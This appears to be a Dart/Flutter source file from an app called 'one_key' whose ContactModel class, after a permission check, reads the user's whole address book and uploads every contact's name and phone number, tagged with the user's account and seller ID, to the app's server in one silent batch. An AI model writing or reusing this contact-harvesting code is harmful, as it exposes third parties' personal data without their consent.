contact_model.dart
2.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import 'dart:convert';
import 'dart:io';
import 'package:common_utils/common_utils.dart';
import 'package:contacts_service/contacts_service.dart';
import 'package:dio/dio.dart';
import 'package:flutter/cupertino.dart';
import 'package:one_key/constant/constant.dart';
import 'package:one_key/net/base_resp.dart';
import 'package:one_key/net/dio_util.dart';
import 'package:one_key/net/http_url.dart';
import 'package:one_key/provider/user_model.dart';
import 'package:one_key/utils/misc.dart';
import 'package:provider/provider.dart';
import '../app.dart';
/**
* 上传联系人
*/
class ContactModel {
ContactModel._();
static ContactModel _instance;
static ContactModel getInstance() {
if (_instance == null) {
_instance = ContactModel._();
}
return _instance;
}
uploadLocalContact(BuildContext context) async {
bool isUpload = App.sp.getBool("isUpload") ?? false;
if (isUpload) return;
bool authority = await requestContactPermission();
if (authority) {
Iterable<Contact> contacts =
await ContactsService.getContacts(withThumbnails: false);
List<Map<String, String>> callLogs = [];
contacts.forEach((contact) {
String phoneNum = "";
if (contact.phones.isNotEmpty) {
phoneNum = contact.phones.first.value
.replaceAll(new RegExp(r"\s+\b|\b\s"), "");
}
Map<String, String> callLog = {
"phoneNum": "${phoneNum.trim()}",
"sid": Provider.of<UserModel>(context, listen: false).user.sellerid,
"deviceId": "dhgajkhdgahghsdghdkgahd",
"phoneDate": "${DateTime.now().millisecondsSinceEpoch}",
"callType": "2",
"callUser": "${contact.displayName}",
"account": Provider.of<UserModel>(context, listen: false).user.account
};
callLogs.add(callLog);
});
Map<String, String> params = {"data": jsonEncode(callLogs)};
BaseResp<String> baseResp = await DioUtil()
.request<String>(context, Method.get, HttpUrl.upload_contact,
showLoading: false,
data: params,
options: Options(
method: Method.post,
// contentType: "application/x-www-form-urlencoded"
))
.catchError((error) {
print(error.toString());
});
if (baseResp != null && baseResp.code == Constant.status_success) {
LogUtil.v("联系人上传成功:${contacts.length}条");
App.sp.setBool("isUpload", true);
}
}
}
}